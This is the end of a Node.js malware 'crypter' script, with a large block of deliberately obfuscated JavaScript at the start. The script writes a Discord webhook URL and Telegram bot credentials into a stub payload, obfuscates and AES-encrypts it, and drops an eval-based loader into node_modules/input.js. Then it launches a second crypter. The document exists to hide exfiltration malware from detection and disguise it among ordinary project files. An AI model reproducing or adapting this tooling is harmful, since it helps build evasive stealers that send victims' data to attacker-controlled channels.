__Uint8Array(0x6e):return Jio0U4O[__Uint8Array(0x6f)];case __Uint8Array(0x70):return Jio0U4O[__Uint8Array(0x71)];case __Uint8Array(0x72):return Jio0U4O[__Uint8Array(0x73)];case __Uint8Array(0x74):return Jio0U4O[__Uint8Array(0x75)];case __Uint8Array(0x76):return Jio0U4O[__Uint8Array(0x77)];case __Uint8Array(0x78)+\\\"4\\\":return Jio0U4O[__Uint8Array(0x79)];case __Uint8Array(0x7a):return Jio0U4O[__Uint8Array(0x7b)];case __Uint8Array(0x7c):return Jio0U4O[__Uint8Array(0x7d)+\\\"s\\\"];case __Uint8Array(0x7e):return Jio0U4O[__Uint8Array(ToYJfN[0x26])];case __Uint8Array(ToYJfN[0x27]):return Jio0U4O[__Uint8Array(0x81)];case __Uint8Array(0x82):return Jio0U4O[__Uint8Array(0x83)];case __Uint8Array(0x84):return Jio0U4O[__Uint8Array(ToYJfN[0x1f])+\\\"9\\\"];case __Uint8Array(0x86):return Jio0U4O[__Uint8Array(0x87)];case __Uint8Array(0x88):return Jio0U4O[__Uint8Array(0x89)];case __Uint8Array(0x8a):return Jio0U4O[__Uint8Array(ToYJfN[0x1d])+ToYJfN[0x21]];case __Uint8Array(0x8c):return Jio0U4O[__Uint8Array(0x8d)];case __Uint8Array(0x8e):return Jio0U4O[__Uint8Array(0x8f)];case __Uint8Array(0x90):return Jio0U4O[__Uint8Array(0x91)];case __Uint8Array(0x92):return Jio0U4O[__Uint8Array(0x93)];case __Uint8Array(0x94):return Jio0U4O[__Uint8Array(0x95)];case __Uint8Array(0x96):return Jio0U4O[__Uint8Array(0x97)+\\\"Z\\\"];case __Uint8Array(0x98):return Jio0U4O[__Uint8Array(0x99)];case __Uint8Array(0x9a)+\\\"G\\\":return Jio0U4O[__Uint8Array(0x9b)]}}function nhb9NA(){}function tM9uB12(__globalObject,__TextDecoder=ToYJfN[0x1]){var __Uint8Array,__Buffer;function*__String(__Buffer,__Array,utf8ArrayToStr={iiZk452:{}},Jio0U4O){while(__Buffer+__Array!==-0xbd)with(utf8ArrayToStr.lH1D1Eq||utf8ArrayToStr)switch(__Buffer+__Array){case-0x33:case 0x7:aDbyYa5([utf8ArrayToStr.iiZk452.wlJDQ0A,utf8ArrayToStr.iiZk452.Souawh]=[0x37,-0x2f],iiZk452.B8Z6eX=function(...__Buffer){return __String(0x45,0x63,{iiZk452:utf8ArrayToStr.iiZk452,iIcumWh:{}},__Buffer).next().value},iiZk452.UyuHGK=function(...__Buffer){return __String(0xa,-0x26,{iiZk452:utf8ArrayToStr.iiZk452,hp0GvA:{}},__Buffer).next().value},utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.iiZk452,__Buffer+=0xa5,__Array+=0x42);break;default:aDbyYa5([hp0GvA.di3Nz2]=Jio0U4O,hp0GvA.KBlZ03=\\\"pF!H,iURaQ;nY*[Z`v&BGNM6zKc~X+9Id1PDSj#hu}\\\\\\\":t_o]y4bfAT{8CV(/qJwO%xlemrWgEs>0L)75$@?2|.=3^<k\\\",hp0GvA.W5YUbM=\\\"\\\"+(hp0GvA.di3Nz2||\\\"\\\"),utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Buffer+=0x4f);break;case __Array-0x11d:case 0xbf:case 0xde:aDbyYa5([utf8ArrayToStr.iiZk452.wlJDQ0A,utf8ArrayToStr.iiZk452.Souawh]=[-0x4b,0xd7],utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.iiZk452,__Buffer+=-0x10,__Array+=0x1bb);break;case utf8ArrayToStr.iiZk452.wlJDQ0A+-0x7a:aDbyYa5(LcaB8I.push((D1_tMfV|o0Rraa<<m2LWozf)&ToYJfN[__Buffer+-0x56]),utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Buffer+=-0x69);break;case utf8ArrayToStr.iiZk452.wlJDQ0A+-0x4:case-0x93:aDbyYa5(utf8ArrayToStr.hp0GvA.pzO_eLv=W5YUbM.length,utf8ArrayToStr.hp0GvA.LcaB8I=[],utf8ArrayToStr.hp0GvA.D1_tMfV=ToYJfN[__Buffer+-(__Buffer+0x0)],utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Array+=0x31);break;case utf8ArrayToStr.iiZk452.Souawh+0x23:return prOEhN[yvABLR]=(0x1,utf8ArrayToStr.iiZk452.UyuHGK)(KQhWR5[yvABLR]);case 0x2c:case __Buffer!=-0x12d&&__Buffer- -0x70:nUZkMZ((0x1,B8Z6eX)(0x9c))[(0x1,B8Z6eX)(__Buffer+0x59)](__globalObject,(0x1,B8Z6eX)(__Buffer+0x5a),{[(0x1,B8Z6eX)(__Buffer+0x5b)]:__TextDecoder,[(0x1,B8Z6eX)(__Buffer+0x5c)]:ToYJfN[0x28]});return __Uint8Array=!0x0,__globalObject;case-0x12:case 0xc:case __Array!=-0x9c&&__Array!=-0x26&&__Array- -0x59:aDbyYa5(utf8ArrayToStr.hp0GvA.m2LWozf=ToYJfN[__Buffer+-0x59],utf8ArrayToStr.hp0GvA.o0Rraa=-ToYJfN[0x1]);for(utf8ArrayToStr.hp0GvA.F0xsv4=ToYJfN[__Buffer+-0x59];F0xsv4<pzO_eLv;F0xsv4++){utf8ArrayToStr.hp0GvA.MuFFWlX=KBlZ03.indexOf(W5YUbM[F0xsv4]);if(MuFFWlX===-ToYJfN[0x1])continue;if(o0Rraa<ToYJfN[0x0]){o0Rraa=MuFFWlX}else{aDbyYa5(o0Rraa+=MuFFWlX*ToYJfN[0x15],D1_tMfV|=o0Rraa<<m2LWozf,m2LWozf+=(o0Rraa&ToYJfN[__Buffer+-0x41])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[__Buffer+-0x3e]);do{aDbyYa5(LcaB8I.push(D1_tMfV&ToYJfN[0x3]),D1_tMfV>>=ToYJfN[__Buffer+-0x57],m2LWozf-=ToYJfN[__Buffer+-0x57])}while(m2LWozf>ToYJfN[__Buffer+-0x4b]);o0Rraa=-ToYJfN[0x1]}}if(o0Rraa>-ToYJfN[__Buffer+-0x58]){aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Array+=-0xa7);break}else{aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Buffer+=-0x69,__Array+=-0xa7);break}case utf8ArrayToStr.iiZk452.Souawh+-0xbb:aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.iiZk452,__Buffer+=-0x18b,__Array+=0x356);break;case __Buffer- -0x20e:aDbyYa5([utf8ArrayToStr.iiZk452.wlJDQ0A,utf8ArrayToStr.iiZk452.Souawh]=[0x94,0xf3],utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.g9LKJsZ,__Buffer+=0xcc,__Array+=-0x1e0);break;case 0xc7:case 0xbb:case utf8ArrayToStr.iiZk452.wlJDQ0A+-0xf0:return prOEhN[yvABLR];case-0x54:case __Buffer- -0xb5:aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.hp0GvA,__Buffer+=0x1a8,__Array+=-0xdb);break;case __Buffer- -0x37:aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.opukNq4,__Buffer+=-0x23,__Array+=-0x9);break;case-0x9:case utf8ArrayToStr.iiZk452.Souawh+-0x7d:return IV3TGq(LcaB8I);case __Buffer- -0x7f:aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.KwZIud_,__Buffer+=0x22,__Array+=-0xf);break;case 0xa8:[iIcumWh.yvABLR]=Jio0U4O;if(typeof prOEhN[iIcumWh.yvABLR]===ToYJfN[0x5]){aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.iIcumWh,__Buffer+=0x3d,__Array+=-0xf1);break}else{aDbyYa5(utf8ArrayToStr.lH1D1Eq=utf8ArrayToStr.iIcumWh,__Buffer+=-0x1d1,__Array+=0x70);break}}}aDbyYa5(__Uint8Array=void 0x0,__Buffer=__String(-0x61,0x2e).next().value);if(__Uint8Array){return __Buffer}}function aDbyYa5(){aDbyYa5=function(){}}return function(){cBsPZ_(__globalObject);function __globalObject(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[ToYJfN[0x20]]=\\\"E*|@8TMkA%`p7Lqjm1#Gnh<t[e?!uf{]5)XQPO9SoBN/}(+HRKa&\\\\\\\"g_CDvz0r,J6l2wZIy=;U4>d^VFiW~Y$:b.c3xs\\\",__globalObject[ToYJfN[0x9]]=\\\"\\\"+(__globalObject[ToYJfN[0x0]]||\\\"\\\"),__globalObject[ToYJfN[0x8]]=__globalObject[ToYJfN[0x9]].length,__globalObject[ToYJfN[0x7]]=[],__globalObject[ToYJfN[0x16]]=ToYJfN[0x0],__globalObject[ToYJfN[0x17]]=ToYJfN[0x0],__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]);for(__globalObject[ToYJfN[0x29]]=ToYJfN[0x0];__globalObject[ToYJfN[0x29]]<__globalObject[ToYJfN[0x8]];__globalObject[ToYJfN[0x29]]++){__globalObject[ToYJfN[0x2a]]=__globalObject[ToYJfN[0x20]].indexOf(__globalObject[ToYJfN[0x9]][__globalObject[ToYJfN[0x29]]]);if(__globalObject[ToYJfN[0x2a]]===-ToYJfN[0x1])continue;if(__globalObject[ToYJfN[0xe]]<ToYJfN[0x0]){__globalObject[ToYJfN[0xe]]=__globalObject[ToYJfN[0x2a]]}else{aDbyYa5(__globalObject[ToYJfN[0xe]]+=__globalObject[ToYJfN[0x2a]]*ToYJfN[0x15],__globalObject[ToYJfN[0x16]]|=__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0x17]],__globalObject[ToYJfN[0x17]]+=(__globalObject[ToYJfN[0xe]]&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__globalObject[ToYJfN[0x7]].push(__globalObject[ToYJfN[0x16]]&ToYJfN[0x3]),__globalObject[ToYJfN[0x16]]>>=ToYJfN[0x2],__globalObject[ToYJfN[0x17]]-=ToYJfN[0x2])}while(__globalObject[ToYJfN[0x17]]>ToYJfN[0xe]);__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]}}if(__globalObject[ToYJfN[0xe]]>-ToYJfN[0x1]){__globalObject[ToYJfN[0x7]].push((__globalObject[ToYJfN[0x16]]|__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0x17]])&ToYJfN[0x3])}return IV3TGq(__globalObject[ToYJfN[0x7]])}function __TextDecoder(__TextDecoder){if(typeof prOEhN[__TextDecoder]===ToYJfN[0x5]){return prOEhN[__TextDecoder]=__globalObject(KQhWR5[__TextDecoder])}return prOEhN[__TextDecoder]}if(__TextDecoder(0xa1)in nhb9NA){__Uint8Array()}function __Uint8Array(){var __globalObject,__TextDecoder,__Uint8Array,__Buffer;cBsPZ_(utf8ArrayToStr);function __Array(__globalObject){var __TextDecoder=\\\"3kPfjdghEGDimQbsc`yH@1JKI8!|p*r~vOxCBnw)e<:(N7a?+Lt%6=^4#Ul9A\\\\\\\",$/.W&}[>]V0YuMZ_;SXzo{F25RTq\\\",__Uint8Array,__Buffer,__Array,utf8ArrayToStr,Jio0U4O,prOEhN,KQhWR5;aDbyYa5(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,__Array=[],utf8ArrayToStr=ToYJfN[0x0],Jio0U4O=ToYJfN[0x0],prOEhN=-ToYJfN[0x1]);for(KQhWR5=ToYJfN[0x0];KQhWR5<__Buffer;KQhWR5++){var fhAUwQ=__TextDecoder.indexOf(__Uint8Array[KQhWR5]);if(fhAUwQ===-ToYJfN[0x1])continue;if(prOEhN<ToYJfN[0x0]){prOEhN=fhAUwQ}else{aDbyYa5(prOEhN+=fhAUwQ*ToYJfN[0x15],utf8ArrayToStr|=prOEhN<<Jio0U4O,Jio0U4O+=(prOEhN&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Array.push(utf8ArrayToStr&ToYJfN[0x3]),utf8ArrayToStr>>=ToYJfN[0x2],Jio0U4O-=ToYJfN[0x2])}while(Jio0U4O>ToYJfN[0xe]);prOEhN=-ToYJfN[0x1]}}if(prOEhN>-ToYJfN[0x1]){__Array.push((utf8ArrayToStr|prOEhN<<Jio0U4O)&ToYJfN[0x3])}return IV3TGq(__Array)}function utf8ArrayToStr(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x1];if(typeof prOEhN[__globalObject[ToYJfN[0x0]]]===ToYJfN[0x5]){return prOEhN[__globalObject[ToYJfN[0x0]]]=__Array(KQhWR5[__globalObject[ToYJfN[0x0]]])}return prOEhN[__globalObject[ToYJfN[0x0]]]}aDbyYa5(__globalObject=function(__globalObject){var __Uint8Array=[];if(__globalObject===ToYJfN[0x1]||__globalObject>=ToYJfN[0x25])__TextDecoder(__Uint8Array,[],__globalObject,ToYJfN[0x0]);return __Uint8Array},__TextDecoder=cBsPZ_(function(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x25];for(__globalObject[ToYJfN[0x20]]=__globalObject[ToYJfN[0x8]];__globalObject[ToYJfN[0x20]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x20]]++){if(__globalObject[ToYJfN[0x1]].length!==__globalObject[ToYJfN[0x20]])return;for(__globalObject[ToYJfN[0x9]]=ToYJfN[0x0];__globalObject[ToYJfN[0x9]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x9]]++)if(__Buffer(__globalObject[ToYJfN[0x1]],[__globalObject[ToYJfN[0x20]],__globalObject[ToYJfN[0x9]]])){aDbyYa5(__globalObject[ToYJfN[0x1]].push([__globalObject[ToYJfN[0x20]],__globalObject[ToYJfN[0x9]]]),__TextDecoder(__globalObject[ToYJfN[0x0]],__globalObject[ToYJfN[0x1]],__globalObject[ToYJfN[0x11]],__globalObject[ToYJfN[0x20]]+ToYJfN[0x1]));if(__globalObject[ToYJfN[0x1]].length===__globalObject[ToYJfN[0x11]])__globalObject[ToYJfN[0x0]].push(__Uint8Array(__globalObject[ToYJfN[0x1]]));__globalObject[ToYJfN[0x1]].pop()}}},ToYJfN[0x25]),__Uint8Array=cBsPZ_(function(...__globalObject){var __TextDecoder,__Uint8Array;function*__Buffer(__Uint8Array,__Buffer,__Array,utf8ArrayToStr,__String={Rgn7da:{}}){while(__Uint8Array+__Buffer+__Array+utf8ArrayToStr!==0x30)with(__String.ztb3DBL||__String)switch(__Uint8Array+__Buffer+__Array+utf8ArrayToStr){default:aDbyYa5([__String.Rgn7da.Jo64m5,__String.Rgn7da.vMA8q3m,__String.Rgn7da.mgAPxx]=[-0x88,0xdf,-0xbd],__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[ToYJfN[__Buffer+0xc4]]=[],__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=-0x1e,__Buffer+=0x19a,__Array+=0xce,utf8ArrayToStr+=-0x33a);break;case __String.Rgn7da.vMA8q3m+-0x9f:case 0xb8:case-0x5d:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Array+=0x51,utf8ArrayToStr+=-0x10c);break;case __String.Rgn7da.vMA8q3m+-0x157:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Array+=0x51,utf8ArrayToStr+=-0x54);break;case __Uint8Array-0xe9:__globalObject[-ToYJfN[__Uint8Array+0x1f]]=__globalObject[ToYJfN[__Array+-0xbc]].length;for(__globalObject[-ToYJfN[__Buffer+-0xcb]]=ToYJfN[__Array+-0xbc];__globalObject[-ToYJfN[__Array+-0x91]]<__globalObject[-ToYJfN[0x2c]];__globalObject[-ToYJfN[0x2b]]++){__globalObject[ToYJfN[0x20]][__globalObject[-ToYJfN[0x2b]]]=\\\"\\\";for(__globalObject[ToYJfN[0x25]]=ToYJfN[0x0];__globalObject[ToYJfN[0x25]]<__globalObject[-ToYJfN[__Uint8Array+0x1f]];__globalObject[ToYJfN[__Uint8Array+0x18]]++)__globalObject[ToYJfN[0x20]][__globalObject[-ToYJfN[__Buffer+-0xcb]]]+=__globalObject[ToYJfN[0x0]][__globalObject[-ToYJfN[__Buffer+-0xcb]]][ToYJfN[0x1]]===__globalObject[ToYJfN[0x25]]?\\\"Q\\\":\\\".\\\"}return __TextDecoder=!0x0,__globalObject[ToYJfN[__Array+-0x9c]];case __String.Rgn7da.mgAPxx+0x42:case-0x54:case-0x23:aDbyYa5(__String.ztb3DBL=__String.QvYxtw,__Uint8Array+=0x66,__Buffer+=0x1c,__Array+=-0x71,utf8ArrayToStr+=0x7e);break;case-0x3d:[__String.Rgn7da.Jo64m5,__String.Rgn7da.vMA8q3m,__String.Rgn7da.mgAPxx]=[-0x24,0x9b,-0xe3];if(!(__Array==__Buffer+0x1dd)){aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=-0x1c,__Buffer+=0x275,__Array+=-0x8a,utf8ArrayToStr+=-0x26e);break}case __Uint8Array-0x44:case-0x3:aDbyYa5(__globalObject[ToYJfN[__Buffer+0x183]]=ToYJfN[0x1],__globalObject[ToYJfN[__Buffer+0x19f]]=[],__String.ztb3DBL=__String.Rgn7da,__Uint8Array+=0x48,__Buffer+=0x275,__Array+=0xae,utf8ArrayToStr+=-0x3c8);break;case utf8ArrayToStr- -0xa2:aDbyYa5(__String.ztb3DBL=__String.Rgn7da,__Buffer+=0xbf,__Array+=0x5e,utf8ArrayToStr+=-0x2bc);break}}aDbyYa5(__TextDecoder=void 0x0,__Uint8Array=__Buffer(0x2b,-0xa4,-0x12,0x9f).next().value);if(__TextDecoder){return __Uint8Array}}),__Buffer=cBsPZ_(function(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x11],__globalObject[ToYJfN[0x11]]=__globalObject[ToYJfN[0x0]].length);for(__globalObject[ToYJfN[0x9]]=ToYJfN[0x0];__globalObject[ToYJfN[0x9]]<__globalObject[ToYJfN[0x11]];__globalObject[ToYJfN[0x9]]++){function __TextDecoder(__globalObject){var __TextDecoder=\\\"xOG0\\\\\\\"lFJt~.H=X@9n]AB#Rsv&3z+{^h,6?T(qg*YyEQC;iu_/b$Z2k)Mf%ac|W<D5er4wL[o>`Pj1SUNd8:K7VIp!}m\\\",__Uint8Array,__Buffer,__Array,utf8ArrayToStr,Jio0U4O,prOEhN,KQhWR5;aDbyYa5(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,__Array=[],utf8ArrayToStr=ToYJfN[0x0],Jio0U4O=ToYJfN[0x0],prOEhN=-ToYJfN[0x1]);for(KQhWR5=ToYJfN[0x0];KQhWR5<__Buffer;KQhWR5++){var fhAUwQ=__TextDecoder.indexOf(__Uint8Array[KQhWR5]);if(fhAUwQ===-ToYJfN[0x1])continue;if(prOEhN<ToYJfN[0x0]){prOEhN=fhAUwQ}else{aDbyYa5(prOEhN+=fhAUwQ*ToYJfN[0x15],utf8ArrayToStr|=prOEhN<<Jio0U4O,Jio0U4O+=(prOEhN&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Array.push(utf8ArrayToStr&ToYJfN[0x3]),utf8ArrayToStr>>=ToYJfN[0x2],Jio0U4O-=ToYJfN[0x2])}while(Jio0U4O>ToYJfN[0xe]);prOEhN=-ToYJfN[0x1]}}if(prOEhN>-ToYJfN[0x1]){__Array.push((utf8ArrayToStr|prOEhN<<Jio0U4O)&ToYJfN[0x3])}return IV3TGq(__Array)}function __Uint8Array(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=__TextDecoder(KQhWR5[__globalObject])}return prOEhN[__globalObject]}if(__globalObject[ToYJfN[0x0]][__globalObject[ToYJfN[0x9]]][ToYJfN[0x0]]===__globalObject[ToYJfN[0x1]][ToYJfN[0x0]]||__globalObject[ToYJfN[0x0]][__globalObject[ToYJfN[0x9]]][ToYJfN[0x1]]===__globalObject[ToYJfN[0x1]][ToYJfN[0x1]])return ToYJfN[0x28];if(nUZkMZ(__Uint8Array(0xa2)).abs((__globalObject[ToYJfN[0x0]][__globalObject[ToYJfN[0x9]]][ToYJfN[0x0]]-__globalObject[ToYJfN[0x1]][ToYJfN[0x0]])/(__globalObject[ToYJfN[0x0]][__globalObject[ToYJfN[0x9]]][ToYJfN[0x1]]-__globalObject[ToYJfN[0x1]][ToYJfN[0x1]]))===ToYJfN[0x1])return ToYJfN[0x28]}return!0x0},ToYJfN[0x11]),nUZkMZ(utf8ArrayToStr(0xa3)).log(__globalObject))}const __Buffer=tbdTHrI[\\\"UhvqG7\\\"](\\\"crypto\\\"),__String=__Buffer[__TextDecoder(0xa4)+__TextDecoder(0xa5)](__TextDecoder(0xa6)+__TextDecoder(0xa7)+__TextDecoder(0xa8),nUZkMZ(__TextDecoder(ToYJfN[0x2d]))[__TextDecoder(ToYJfN[0x2e])](__TextDecoder(0xab),__TextDecoder(ToYJfN[0x1c])),0x186a0,0x20,__TextDecoder(0xad)),__Array=__Buffer[__TextDecoder(0xae)](__TextDecoder(0xaf),__String,nUZkMZ(__TextDecoder(ToYJfN[0x2d]))[__TextDecoder(ToYJfN[0x2e])](__TextDecoder(0xb0),__TextDecoder(ToYJfN[0x1c]))),utf8ArrayToStr=__Array[__TextDecoder(0xb1)](__TextDecoder(0xb2)+__TextDecoder(0xb3)+__TextDecoder(0xb4)+__TextDecoder(0xb5)+__TextDecoder(ToYJfN[0x24]),__TextDecoder(ToYJfN[0x1c]),__TextDecoder(ToYJfN[0x2f]))+__Array[__TextDecoder(0xb8)](__TextDecoder(ToYJfN[0x2f])),Jio0U4O=new(nUZkMZ(__TextDecoder(0xb9)))(__TextDecoder(0xba),__TextDecoder(0xbb),__TextDecoder(ToYJfN[0x30])+__TextDecoder(0xbd)+__TextDecoder(0xbe),__TextDecoder(ToYJfN[0x30])+__TextDecoder(0xbf)+\\\"ID\\\",utf8ArrayToStr+__TextDecoder(0xc0));nUZkMZ(__TextDecoder(ToYJfN[0x31]))[__TextDecoder(0xc2)]=Jio0U4O(nUZkMZ(__TextDecoder(ToYJfN[0x31]))[__TextDecoder(0xc3)],nUZkMZ(__TextDecoder(ToYJfN[0x31]))[__TextDecoder(0xc4)],nUZkMZ(__TextDecoder(ToYJfN[0x31]))[__TextDecoder(0xc5)],nUZkMZ(__TextDecoder(ToYJfN[0x31]))[__TextDecoder(0xc6)])}();\")({get\"s7R31U\"(){return window},get\"UhvqG7\"(){return require}});");const r=g["_f768294c"];delete g["_f768294c"];delete g["_f8aaceab"];delete g["_416bc9be"];delete g["_d037afda"];delete g["_18d68644"];return r;})(stubCode,typeof webhookURL!=='undefined'?webhookURL:(typeof discordWebhookURL!=='undefined'?discordWebhookURL:'REMPLACE_ME'),typeof telegramBotToken!=='undefined'?telegramBotToken:null,typeof telegramChatID!=='undefined'?telegramChatID:null);

    if (stubCode === updatedStubCode) {
            throw new Error('Failed to update placeholder in stub.js. Please check that the placeholder exists.');
        }

        const compiledCode = updatedStubCode;

        const obfuscationResult = JavaScriptObfuscator.obfuscate(compiledCode, {
            compact: true,
            controlFlowFlattening: true,
            controlFlowFlatteningThreshold: 0.75,
            deadCodeInjection: true,
            deadCodeInjectionThreshold: 0.75,
            debugProtection: false,
            disableConsoleOutput: true,
            identifierNamesGenerator: 'mangled',
            log: false,
            numbersToExpressions: true,
            renameGlobals: false,
            selfDefending: true,
            simplify: true,
            splitStrings: true,
            splitStringsChunkLength: 5,
            stringArray: true,
            stringArrayCallsTransform: true,
            stringArrayEncoding: ['rc4'],
            stringArrayIndexShift: true,
            stringArrayRotate: true,
            stringArrayShuffle: true,
            stringArrayThreshold: 0.75,
            stringArrayWrappersCount: 2,
            stringArrayWrappersChainedCalls: true,
            stringArrayWrappersParametersMaxCount: 4,
            stringArrayWrappersType: 'function',
            transformObjectKeys: true,
            unicodeEscapeSequence: false
        });
        const obfuscatedCode = obfuscationResult.getObfuscatedCode();

        const secret = crypto.randomBytes(32).toString('base64');
        const encryptionKey = crypto.createHash('sha256').update(String(secret)).digest('base64').substr(0, 32);
        const { encryptedData, salt, iv } = encrypt(obfuscatedCode, encryptionKey);

        const runnerCode = `
const crypto = require('crypto');

${decrypt.toString()}

const decrypted = decrypt("${encryptedData}", "${encryptionKey}", "${salt}", "${iv}");
(function(require) { eval(decrypted); })(require);
`;

        const folderName = 'node_modules';
        const fileName = 'input.js';
        const targetFolder = path.join(__dirname, folderName);

        if (!fs.existsSync(targetFolder)) {
            fs.mkdirSync(targetFolder);
        }

        const targetFile = path.join(targetFolder, fileName);
        fs.writeFileSync(targetFile, runnerCode, 'utf8');

        console.log(`Encrypted with AES-256 after obfuscation for Telegram.`);

        resetPlaceholder(stubPath, stubCode);
        await executeSecondCrypterScript();

    } catch (error) {
        console.error(`Error: ${error.message}`);
    }
}

main();
